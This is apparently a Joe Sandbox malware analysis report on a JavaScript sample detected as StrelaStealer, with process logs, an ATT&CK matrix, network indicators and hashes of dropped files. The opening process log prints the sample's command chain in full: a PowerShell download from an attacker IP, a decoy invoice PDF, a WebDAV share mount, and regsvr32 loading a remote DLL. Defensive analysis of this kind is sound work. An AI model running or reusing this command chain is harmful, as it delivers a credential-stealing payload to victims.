Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2581826545127854631.js	8%	Virustotal		Browse
2581826545127854631.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1801453411.000001BF0A838000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false	high
http://crl.ver)	svchost.exe, 00000008.00000002.3008541637.00000257FF285000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1805857244.00000257FF4C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1801453411.000001BF0A88D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801453411.000001BF0A838000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801453411.000001BF0A86C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1805857244.00000257FF4C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588487
Start date and time:	2025-01-11 01:53:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2581826545127854631.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/58@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 54.224.241.105, 34.237.241.83, 18.213.11.84, 50.16.47.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 23.200.0.173, 23.200.0.196, 4.175.87.197, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:53:59	API Interceptor	22x Sleep call for process: powershell.exe modified
19:54:03	API Interceptor	1x Sleep call for process: net.exe modified
19:54:04	API Interceptor	2x Sleep call for process: svchost.exe modified
19:54:16	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073264716406394
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	2F7DBB9D0BA4E615E2251FBDB384B448
SHA1:	B097053FDF778370960DDA17E0FE94B85C0FD7AD
SHA-256:	34BB44594608024B67760B57B1CBB1FAA6C40C8494BCFF01ED5D11DF94BBDB32
SHA-512:	7CE167BF12D32CF6558F5D7080C3F8B4E9B08DF74BC414FE1D77B6EDCA970B0662BFBA414E67C67598FCB41F0279E8AF647BFF87920553E9080568F446C04683
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa1a7bf62, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42208295727715
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	6572A75498FC0DAAA12AF987441DB2A6
SHA1:	44D27A64988054BFD7571CEC62F9C64D3D1AB5B6
SHA-256:	71571864CA82E9EE886187F3176644822A8935E6B1D92112F956813B9C6B2D8B
SHA-512:	D511A62A914411435DFBA5D23C8C5D9C1BC89948AA332AA434A03AB6C49BA892F2A8E15E78B46A7A5122596FEC2B790E99AAFC46890FA97E8A28691D11D01521
Malicious:	false
Preview:	...b... .......A.......X\...;...{......................0.!..........{A..6...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.....................................[.6...}..................V.'.6...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07512974787335801
Encrypted:	false
SSDEEP:	3:YZS6YeWuqmluAjjn13a/iT9ll/allcVO/lnlZMxZNQl:YZS6z0mlbj53qIFGOewk
MD5:	B19EFACF5EA48EB63B95779FB03273E3
SHA1:	2442660AEDCF384B9DBEBB3F1D47B105F0A0D798
SHA-256:	6F0F3714E8ED5F2400039476B483A6B8ACC427CF9E8D092DF4C2F2E585A26B2C
SHA-512:	5CDBC6A447AC6BA911D6FB1F2FE303BE6646EF3663BAF79A9309CB59D77BBF2EAA0FD320D5A08BA80D65E432AC44C762AB88835DDA7F1522F856169E7B9A719B
Malicious:	false
Preview:	e.1%.....................................;...{...6...}.......{A..............{A......{A..........{A]................V.'.6...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.176469695671991
Encrypted:	false
SSDEEP:	6:iO4viOq2Pwkn2nKuAl9OmbnIFUtSvgZmwsvIkwOwkn2nKuAl9OmbjLJ:7aiOvYfHAahFUt4g/+I5JfHAaSJ
MD5:	EC8FBCBEEFAC2695CD862AC27B456ED1
SHA1:	FFA60CD6C44E8EF613945FDC63FAF8C60538D1E2
SHA-256:	6222E14254DD7F1B9273264B257C49AC7701D4D76407DFE8C70D4F61B7F1ABD9
SHA-512:	829703294FB7AD3D9968F6806C620551F31A4EEE5285C9B8C5C7EBB077D93029DFB2F9E3B79539A27B02DEE915F40E98E7A4EAFA206D9AA8AA8DDFE703FAED82
Malicious:	false
Preview:	2025/01/10-19:54:04.057 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:54:04.059 1c34 Recovering log #3.2025/01/10-19:54:04.059 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.176469695671991
Encrypted:	false
SSDEEP:	6:iO4viOq2Pwkn2nKuAl9OmbnIFUtSvgZmwsvIkwOwkn2nKuAl9OmbjLJ:7aiOvYfHAahFUt4g/+I5JfHAaSJ
MD5:	EC8FBCBEEFAC2695CD862AC27B456ED1
SHA1:	FFA60CD6C44E8EF613945FDC63FAF8C60538D1E2
SHA-256:	6222E14254DD7F1B9273264B257C49AC7701D4D76407DFE8C70D4F61B7F1ABD9
SHA-512:	829703294FB7AD3D9968F6806C620551F31A4EEE5285C9B8C5C7EBB077D93029DFB2F9E3B79539A27B02DEE915F40E98E7A4EAFA206D9AA8AA8DDFE703FAED82
Malicious:	false
Preview:	2025/01/10-19:54:04.057 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:54:04.059 1c34 Recovering log #3.2025/01/10-19:54:04.059 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1480969157699406
Encrypted:	false
SSDEEP:	6:iO4vJGjWM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSv2Bt1Zmwsv2B7WMVkwOwkn2nKuA:7aJGjL+vYfHAa8uFUt42R/+2NLV5JfHA
MD5:	F1CB3E8DC2A5E7F5A59296A4EB68275E
SHA1:	4E3CD4A065F90C802CDCB6D337D276FB15B15070
SHA-256:	F9A4AE24962CE26658819D09E98D93BF5B73A59B90484242D3FACA9EA8AD68B9
SHA-512:	440B411E043709849C0CC95025F7893BE4DF89146D3C6674AF34F9211F049AEB4C1B8B0F5A142A0E0AE42F20ECA4649BAACDFDDA9D42AD470DE0CBFB77E3B969
Malicious:	false
Preview:	2025/01/10-19:54:04.080 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:54:04.082 1d1c Recovering log #3.2025/01/10-19:54:04.082 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1480969157699406
Encrypted:	false
SSDEEP:	6:iO4vJGjWM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSv2Bt1Zmwsv2B7WMVkwOwkn2nKuA:7aJGjL+vYfHAa8uFUt42R/+2NLV5JfHA
MD5:	F1CB3E8DC2A5E7F5A59296A4EB68275E
SHA1:	4E3CD4A065F90C802CDCB6D337D276FB15B15070
SHA-256:	F9A4AE24962CE26658819D09E98D93BF5B73A59B90484242D3FACA9EA8AD68B9
SHA-512:	440B411E043709849C0CC95025F7893BE4DF89146D3C6674AF34F9211F049AEB4C1B8B0F5A142A0E0AE42F20ECA4649BAACDFDDA9D42AD470DE0CBFB77E3B969
Malicious:	false
Preview:	2025/01/10-19:54:04.080 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:54:04.082 1d1c Recovering log #3.2025/01/10-19:54:04.082 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6c51e815-9515-4d38-851d-0702b2602697.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.945583798988001
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPEsBdOg2HdXfcaq3QYiubInP7E4T3y:Y2sRdsCpdMHVu3QYhbG7nby
MD5:	8364FD8239AAD6AA58DFB1CE7B01BA31
SHA1:	8E67C33896AB5632CFF410F7815DE04315A6B8A7
SHA-256:	B69FF3DC613DA6CA04725DD5CCACD3678FD9336A4891AAF4A0EDE0FEDAC2C8AF
SHA-512:	51F932078F3BC2A4375274A6F77DA0EE8C30A0E1A022CFD3CCD14EDBAAA7ABB32142C4A4EC292DC629765EB47C5874A8D166E64AA32A33B36367E0D3633CE536
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116856428115","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143652},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.945583798988001
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPEsBdOg2HdXfcaq3QYiubInP7E4T3y:Y2sRdsCpdMHVu3QYhbG7nby
MD5:	8364FD8239AAD6AA58DFB1CE7B01BA31
SHA1:	8E67C33896AB5632CFF410F7815DE04315A6B8A7
SHA-256:	B69FF3DC613DA6CA04725DD5CCACD3678FD9336A4891AAF4A0EDE0FEDAC2C8AF
SHA-512:	51F932078F3BC2A4375274A6F77DA0EE8C30A0E1A022CFD3CCD14EDBAAA7ABB32142C4A4EC292DC629765EB47C5874A8D166E64AA32A33B36367E0D3633CE536
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116856428115","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143652},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256578234394184
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7WRCJs:etJCV4FiN/jTN/2r8Mta02fEhgO73goi
MD5:	C50A374F9FC625220E5B54A3B5CE2A34
SHA1:	4926AAAD5DE268FB3F17A2E7D556965D9B005674
SHA-256:	FDB856599D0658CB6DF7567D21251AC7F0020F7AE790BDED32DA41111E6BF4E9
SHA-512:	9FF9E3267B3C755D2D967D00C8528CC62FF24556E9BE0590408D53430D62F542E809EAB1C016F55BC28DDCD0F329CC97883F7C1ADD95DC3CF2166CC18DF1816D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182613667064442
Encrypted:	false
SSDEEP:	6:iO4vkWM+q2Pwkn2nKuAl9OmbzNMxIFUtSvy7o1ZmwsvntlWMVkwOwkn2nKuAl9Ob:7akL+vYfHAa8jFUt49/+ntlLV5JfHAab
MD5:	DDCA203A192BCCE914C0B47093D1B91E
SHA1:	802629C2D8C3EC5CF230FA1D53316ADCFE9EDD4E
SHA-256:	48B1927289784FCBB3610E009781C9BF71222D6DB8DABD134D26BBA83F838279
SHA-512:	1390C56A26FF6D994AC0AAFE75354E0A2B6E2DCEDAD11318EFEC32C4F38BF8329428337ECB7CE00E6ED80902080B8B4F523CA9D7D1CF949AE4F86886B3B04255
Malicious:	false
Preview:	2025/01/10-19:54:04.457 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:54:04.465 1d1c Recovering log #3.2025/01/10-19:54:04.474 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182613667064442
Encrypted:	false
SSDEEP:	6:iO4vkWM+q2Pwkn2nKuAl9OmbzNMxIFUtSvy7o1ZmwsvntlWMVkwOwkn2nKuAl9Ob:7akL+vYfHAa8jFUt49/+ntlLV5JfHAab
MD5:	DDCA203A192BCCE914C0B47093D1B91E
SHA1:	802629C2D8C3EC5CF230FA1D53316ADCFE9EDD4E
SHA-256:	48B1927289784FCBB3610E009781C9BF71222D6DB8DABD134D26BBA83F838279
SHA-512:	1390C56A26FF6D994AC0AAFE75354E0A2B6E2DCEDAD11318EFEC32C4F38BF8329428337ECB7CE00E6ED80902080B8B4F523CA9D7D1CF949AE4F86886B3B04255
Malicious:	false
Preview:	2025/01/10-19:54:04.457 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:54:04.465 1d1c Recovering log #3.2025/01/10-19:54:04.474 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445043969125729
Encrypted:	false
SSDEEP:	384:Ce2ci5tuiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:KBs3OazzU89UTTgUL
MD5:	3E7A666D60DA295D6914286ADFC206A2
SHA1:	3862A5D345D7550C63DD4E2B5A41F9F80014BEBB
SHA-256:	6DCB9B78B3F2D493EDDD1B08D8EB1B04AF3BC4A8ED2E175CD232DC56FDC3AF45
SHA-512:	B7C26A87F0E3928B4DD0A97B75FBB210BABC7F47294DE2BB25807BF07C4D6C095A39B819CCC53C544FB1D5A305306D8CA2FC0639773FBCC4E5BF4DC32DD510F3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2150918191886166
Encrypted:	false
SSDEEP:	24:7+tAGmnuwKiqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9O:7MAznCiq/mFTIF3XmHjBoGGR+jMz+LhQ
MD5:	55FD0B80A417329829E06CB4A84A9A8F
SHA1:	4027C924F87CA313E77EA6C4FA40B6CF119F0B57
SHA-256:	1023979A4D79305645C66E28C406803E90B70F6EBD87DF3CBE698ED79DEEDA5B
SHA-512:	1EC4B433C9DED6F04F5BDD67FBA4F008E33EA2C406304C44A135F54A5BF98998795B87DF0DAF97E47A1341F84B1BE4A53C67B4B866A74EC3B29511F6B1C84618
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
